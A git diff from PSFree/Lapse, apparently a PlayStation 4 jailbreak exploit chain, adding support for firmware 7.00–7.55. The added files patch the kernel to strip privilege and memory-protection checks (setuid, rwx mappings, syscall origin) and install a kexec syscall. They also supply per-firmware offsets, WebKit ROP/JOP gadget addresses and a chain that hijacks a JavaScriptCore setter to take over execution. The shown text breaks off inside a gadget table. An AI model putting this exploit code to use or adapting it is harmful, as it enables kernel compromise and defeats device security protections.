diff --git a/CHANGELOG.md b/CHANGELOG.md index 8bf062a..6f9febb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,7 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), @janisslsm - Added loading payload from file - Added read8/read16/write8/write16 functions -- Added 8.50-9.60 support +- Added 7.00-9.60 support - Initial 9.00-9.60 ROP chain, by @janisslsm - Added GitHub actions to build PRs, push to `main`, and tags for releases. diff --git a/README.md b/README.md index 1bd0a0b..fd18079 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ This table indicates firmware versions for which the _current version_ of this r | | PSFree | Lapse | | :------------ | :-------- | :-------- | -| PlayStation 4 | 8.00-9.60 | 8.00-9.60 | +| PlayStation 4 | 7.00-9.60 | 7.00-9.60 | | PlayStation 5 | N/A | N/A | _Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support._ diff --git a/src/kpatch/700.c b/src/kpatch/700.c new file mode 100644 index 0000000..3a3ee99 --- /dev/null +++ b/src/kpatch/700.c @@ -0,0 +1,186 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.00, 7.01, 7.02 + +#include "types.h" +#include "utils.h" + +struct kexec_args { + u64 entry; + u64 arg1; + u64 arg2; + u64 arg3; + u64 arg4; + u64 arg5; +}; + +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); + +__attribute__((section (".text.start"))) +int kpatch(void *td, struct kexec_args *uap) { + do_patch(); + restore(uap); + return 0; +} + +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { + u8 *pipe = uap->arg1; + u8 *pipebuf = uap->arg2; + for (int i = 0; i < 0x18; i++) { + pipe[i] = pipebuf[i]; + } + u64 *pktinfo_field = uap->arg3; + *pktinfo_field = 0; + u64 *pktinfo_field2 = uap->arg4; + *pktinfo_field2 = 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x63acce, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x2ef8d, 0xeb); // bzero + write8(kbase, 0x2efd1, 0xeb); // pagezero + write8(kbase, 0x2f04d, 0xeb); // memcpy + write8(kbase, 0x2f091, 0xeb); // pagecopy + write8(kbase, 0x2f23d, 0xeb); // copyin + write8(kbase, 0x2f6ed, 0xeb); // copyinstr + write8(kbase, 0x2f7bd, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x9090); + write16(kbase, 0x4b9, 0x9090); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x87b77, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write32(kbase, 0x264c0a, 0); + + // TODO: Description of this patch. "prx" + write16(kbase, 0x94ec1, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x9547b, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x2f2c20, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x1d2336, 0x37); + write8(kbase, 0x1d2339, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1125870; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x6b192); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/src/kpatch/750.c b/src/kpatch/750.c new file mode 100644 index 0000000..209098d --- /dev/null +++ b/src/kpatch/750.c @@ -0,0 +1,186 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.50, 7.51, 7.55 + +#include "types.h" +#include "utils.h" + +struct kexec_args { + u64 entry; + u64 arg1; + u64 arg2; + u64 arg3; + u64 arg4; + u64 arg5; +}; + +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); + +__attribute__((section (".text.start"))) +int kpatch(void *td, struct kexec_args *uap) { + do_patch(); + restore(uap); + return 0; +} + +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { + u8 *pipe = uap->arg1; + u8 *pipebuf = uap->arg2; + for (int i = 0; i < 0x18; i++) { + pipe[i] = pipebuf[i]; + } + u64 *pktinfo_field = uap->arg3; + *pktinfo_field = 0; + u64 *pktinfo_field2 = uap->arg4; + *pktinfo_field2 = 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x637394, 0x9090); // veriPatch + write8(kbase, 0xadd, 0xeb); // bcopy + write8(kbase, 0x28f74d, 0xeb); // bzero + write8(kbase, 0x28f791, 0xeb); // pagezero + write8(kbase, 0x28f80d, 0xeb); // memcpy + write8(kbase, 0x28f851, 0xeb); // pagecopy + write8(kbase, 0x28f9fd, 0xeb); // copyin + write8(kbase, 0x28fead, 0xeb); // copyinstr + write8(kbase, 0x28ff7d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write16(kbase, 0x4c6, 0xe990); + write16(kbase, 0x4bd, 0x9090); + write16(kbase, 0x4b9, 0x9090); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x37a327, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write32(kbase, 0x3014ca, 0); + + // TODO: Description of this patch. "prx" + write16(kbase, 0x451e04, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write16(kbase, 0x4523c4, 0xe990); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x29a30, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xdb17d, 0x37); + write8(kbase, 0xdb180, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x1122550; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0x1f842); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/src/kpatch/Makefile b/src/kpatch/Makefile index be622a2..9df6ec2 100644 --- a/src/kpatch/Makefile +++ b/src/kpatch/Makefile @@ -1,4 +1,4 @@ -TARGET_VERSIONS = 800 850 900 903 950 +TARGET_VERSIONS = 700 750 800 850 900 903 950 CC = gcc OBJCOPY = objcopy diff --git a/src/lapse.mjs b/src/lapse.mjs index 75d6563..3ed12f1 100644 --- a/src/lapse.mjs +++ b/src/lapse.mjs @@ -38,6 +38,9 @@ import * as rop from "./module/chain.mjs"; import * as config from "./config.mjs"; // static imports for firmware configurations +import * as fw_ps4_700 from "./lapse/ps4/700.mjs"; +import * as fw_ps4_750 from "./lapse/ps4/750.mjs"; +import * as fw_ps4_751 from "./lapse/ps4/751.mjs"; import * as fw_ps4_800 from "./lapse/ps4/800.mjs"; import * as fw_ps4_850 from "./lapse/ps4/850.mjs"; import * as fw_ps4_852 from "./lapse/ps4/852.mjs"; @@ -72,7 +75,16 @@ const [is_ps4, version] = (() => { // set per-console/per-firmware offsets const fw_config = (() => { if (is_ps4) { - if (0x800 <= version && version < 0x850) { + if (0x700 <= version && version < 0x750) { + // 7.00, 7.01, 7.02 + return fw_ps4_700; + } else if (0x750 <= version && version < 0x751) { + // 7.50 + return fw_ps4_750; + } else if (0x751 <= version && version < 0x800) { + // 7.51, 7.55 + return fw_ps4_751; + } else if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03 return fw_ps4_800; } else if (0x850 <= version && version < 0x852) { @@ -1499,8 +1511,8 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { if (!is_ps4) { throw RangeError("ps5 kernel patching unsupported"); } - if (!(0x800 <= version && version < 0x1000)) { - // 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60 + if (!(0x700 <= version && version < 0x1000)) { + // Only 7.00-9.60 supported throw RangeError("kernel patching unsupported"); } diff --git a/src/lapse/ps4/700.mjs b/src/lapse/ps4/700.mjs new file mode 100644 index 0000000..4a9c6e1 --- /dev/null +++ b/src/lapse/ps4/700.mjs @@ -0,0 +1,37 @@ +/* Copyright (C) 2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.00, 7.01, 7.02 + +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x256b0, + pthread_join: 0x27d00, + pthread_barrier_init: 0xa170, + pthread_barrier_wait: 0x1ee80, + pthread_barrier_destroy: 0xe2e0, + pthread_exit: 0x19fd0, + }), +); + +export const off_kstr = 0x7f92cb; +export const off_cpuid_to_pcpu = 0x212cd10; + +export const off_sysent_661 = 0x112d250; +export const jmp_rsi = 0x6b192; + +export const patch_elf_loc = "./kpatch/700.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/750.mjs b/src/lapse/ps4/750.mjs new file mode 100644 index 0000000..9a16db2 --- /dev/null +++ b/src/lapse/ps4/750.mjs @@ -0,0 +1,37 @@ +/* Copyright (C) 2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.50 + +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x25800, + pthread_join: 0x27e60, + pthread_barrier_init: 0xa090, + pthread_barrier_wait: 0x1ef50, + pthread_barrier_destroy: 0xe290, + pthread_exit: 0x1a030, + }), +); + +export const off_kstr = 0x79a92e; +export const off_cpuid_to_pcpu = 0x2261070; + +export const off_sysent_661 = 0x1129f30; +export const jmp_rsi = 0x1f842; + +export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs` diff --git a/src/lapse/ps4/751.mjs b/src/lapse/ps4/751.mjs new file mode 100644 index 0000000..541ef99 --- /dev/null +++ b/src/lapse/ps4/751.mjs @@ -0,0 +1,40 @@ +/* Copyright (C) 2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.51, 7.55 + +export const pthread_offsets = new Map( + Object.entries({ + pthread_create: 0x25800, + pthread_join: 0x27e60, + pthread_barrier_init: 0xa090, + pthread_barrier_wait: 0x1ef50, + pthread_barrier_destroy: 0xe290, + pthread_exit: 0x1a030, + }), +); + +export const off_kstr = 0x79a96e; +export const off_cpuid_to_pcpu = 0x2261070; + +export const off_sysent_661 = 0x1129f30; +export const jmp_rsi = 0x1f842; + +export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs` +// Not a mistake! Only ONE kernel offset differs between 7.50, 7.51, and 7.55. +// It's the `off_kstr` variable in THIS file, the kernel patches are the same. +// That's why 7.51/7.55 are seperate from 7.50, but using the same kpatch file. diff --git a/src/module/chain.mjs b/src/module/chain.mjs index 9df0160..439af28 100644 --- a/src/module/chain.mjs +++ b/src/module/chain.mjs @@ -543,25 +543,25 @@ function load_fw_specific(version) { // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types // which can be annoying to deal with if (value < 0x700) { - throw RangeError("PS4 firmwares < 7.00 isn't supported"); + throw RangeError("PS4 firmwares <7.00 aren't supported"); } - if (0x800 <= value && value < 0x850) { + if (0x700 <= value && value < 0x750) { + // 7.00, 7.01, 7.02 + return import("../rop/ps4/700.mjs"); + } else if (0x750 <= value && value < 0x800) { + // 7.50, 7.51, 7.55 + return import("../rop/ps4/750.mjs"); + } else if (0x800 <= value && value < 0x850) { // 8.00, 8.01, 8.03 return import("../rop/ps4/800.mjs"); - } - - if (0x850 <= value && value < 0x900) { + } else if (0x850 <= value && value < 0x900) { // 8.50, 8.52 return import("../rop/ps4/850.mjs"); - } - - if (0x900 <= value && value < 0x950) { + } else if (0x900 <= value && value < 0x950) { // 9.00, 9.03, 9.04 return import("../rop/ps4/900.mjs"); - } - - if (0x950 <= value && value < 0x1000) { + } else if (0x950 <= value && value < 0x1000) { // 9.50, 9.51, 9.60 return import("../rop/ps4/950.mjs"); } diff --git a/src/rop/ps4/700.mjs b/src/rop/ps4/700.mjs new file mode 100644 index 0000000..b693100 --- /dev/null +++ b/src/rop/ps4/700.mjs @@ -0,0 +1,263 @@ +/* Copyright (C) 2023-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.00, 7.01, 7.02 + +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; + +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; + +import * as off from "../../module/offset.mjs"; + +// WebKit offsets of imported functions +const offset_wk_stack_chk_fail = 0x2438; +const offset_wk_strlen = 0x2478; + +// libSceNKWebKit.sprx +export let libwebkit_base = null; +// libkernel_web.sprx +export let libkernel_base = null; +// libSceLibcInternal.sprx +export let libc_base = null; + +// gadgets for the JOP chain +// +// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its +// type is PutPropertySlot::PutValueFunc +const jop1 = ` +mov rdi, qword ptr [rsi + 8] +mov rax, qword ptr [rdi] +jmp qword ptr [rax + 0x70] +`; +// rbp is now pushed, any extra objects pushed by the call instructions can be +// ignored +const jop2 = ` +push rbp +mov rbp, rsp +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x30] +`; +const jop3 = ` +mov rdx, qword ptr [rdx + 0x50] +mov ecx, 0xa +call qword ptr [rax + 0x40] +`; +const jop4 = ` +push rdx +jmp qword ptr [rax] +`; +const jop5 = "pop rsp; ret"; + +// the ps4 firmware is compiled to use rbp as a frame pointer +// +// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain +// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must +// restore rbp (if needed) before the epilogue. +// +// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we +// pushed earlier before the pivot, thus restoring the old rbp). +// +// leave instruction equivalent: +// mov rsp, rbp +// pop rbp + +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x000000000001fa68, // `58 c3` + "pop rbx; ret": 0x0000000000028cfa, // `5b c3` + "pop rcx; ret": 0x0000000000026afb, // `59 c3` + "pop rdx; ret": 0x0000000000052b23, // `5a c3` + + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x000000000003c987, // `5e c3` + "pop rdi; ret": 0x000000000000835d, // `5f c3` + "pop rsp; ret": 0x0000000000078c62, // `5c c3` + + "pop r8; ret": 0x00000000005f5500, // `41 58 c3` + "pop r9; ret": 0x00000000005c6a81, // `47 59 c3` + "pop r10; ret": 0x0000000000061671, // `47 5a c3` + "pop r11; ret": 0x0000000000d4344f, // `4f 5b c3` + + "pop r12; ret": 0x0000000000da462c, // `41 5c c3` + "pop r13; ret": 0x00000000019daaeb, // `41 5d c3` + "pop r14; ret": 0x000000000003c986, // `41 5e c3` + "pop r15; ret": 0x000000000024be8c, // `41 5f c3` + + "ret": 0x000000000000003c, // `c3` + "leave; ret": 0x00000000000f2c93, // `c9 c3` + + "mov rax, qword ptr [rax]; ret": 0x000000000002e852, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x00000000000203e9, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x0000000000020148, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x0000000000294dcc, // `89 30 c3` + + [jop1]: 0x00000000019c2500, // `48 8b 7e 08 48 8b 07 ff 60 70` + [jop2]: 0x00000000007776e0, // `55 48 89 e5 48 8b 07 ff 50 30` + [jop3]: 0x0000000000f84031, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40` + [jop4]: 0x0000000001e25cce, // `52 ff 20` + [jop5]: 0x0000000000078c62, // `5c c3` + }), +); + +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x277c4, + "setcontext": 0x2bc18, + }), +); + +const libkernel_gadget_offsets = new Map( + Object.entries({ + // returns the location of errno + "__error": 0x161f0, + }), +); + +export const gadgets = new Map(); + +function get_bases() { + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x23ba060; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); + + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x12ad0; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); + + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x50a00; + const libc_base = strlen_addr.sub(off_strlen); + + return [libwebkit_base, libkernel_base, libc_base]; +} + +export function init_gadget_map(gadget_map, offset_map, base_addr) { + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } +} + +class Chain700Base extends ChainBase { + push_end() { + this.push_gadget("leave; ret"); + } + + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } + + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); + + this.push_call(this.get_gadget("__error")); + + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } + + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } +} + +export class Chain700 extends Chain700Base { + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } + + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } +} + +export const Chain = Chain700; + +export function init(Chain) { + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); + + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); + + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); + + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; + + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; + + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); + + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + + Chain.init_class(gadgets, syscall_array); +} diff --git a/src/rop/ps4/750.mjs b/src/rop/ps4/750.mjs new file mode 100644 index 0000000..38aa9f5 --- /dev/null +++ b/src/rop/ps4/750.mjs @@ -0,0 +1,263 @@ +/* Copyright (C) 2023-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 7.50, 7.51, 7.55 + +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; + +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; + +import * as off from "../../module/offset.mjs"; + +// WebKit offsets of imported functions +const offset_wk_stack_chk_fail = 0x2438; +const offset_wk_strlen = 0x2478; + +// libSceNKWebKit.sprx +export let libwebkit_base = null; +// libkernel_web.sprx +export let libkernel_base = null; +// libSceLibcInternal.sprx +export let libc_base = null; + +// gadgets for the JOP chain +// +// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its +// type is PutPropertySlot::PutValueFunc +const jop1 = ` +mov rdi, qword ptr [rsi + 8] +mov rax, qword ptr [rdi] +jmp qword ptr [rax + 0x70] +`; +// rbp is now pushed, any extra objects pushed by the call instructions can be +// ignored +const jop2 = ` +push rbp +mov rbp, rsp +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x30] +`; +const jop3 = ` +mov rdx, qword ptr [rdx + 0x50] +mov ecx, 0xa +call qword ptr [rax + 0x40] +`; +const jop4 = ` +push rdx +jmp qword ptr [rax] +`; +const jop5 = "pop rsp; ret"; + +// the ps4 firmware is compiled to use rbp as a frame pointer +// +// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain +// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must +// restore rbp (if needed) before the epilogue. +// +// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we +// pushed earlier before the pivot, thus restoring the old rbp). +// +// leave instruction equivalent: +// mov rsp, rbp +// pop rbp + +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x000000000003650b, // `58 c3` + "pop rbx; ret": 0x0000000000015d5c, // `5b c3` + "pop rcx; ret": 0x000000000002691b, // `59 c3` + "pop rdx; ret": 0x0000000000061d52, // `5a c3` + + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x000000000003c827, // `5e c3` + "pop rdi; ret": 0x000000000024d2b0, // `5f c3` + "pop rsp; ret": 0x000000000005f959, // `5c c3` + + "pop r8; ret": 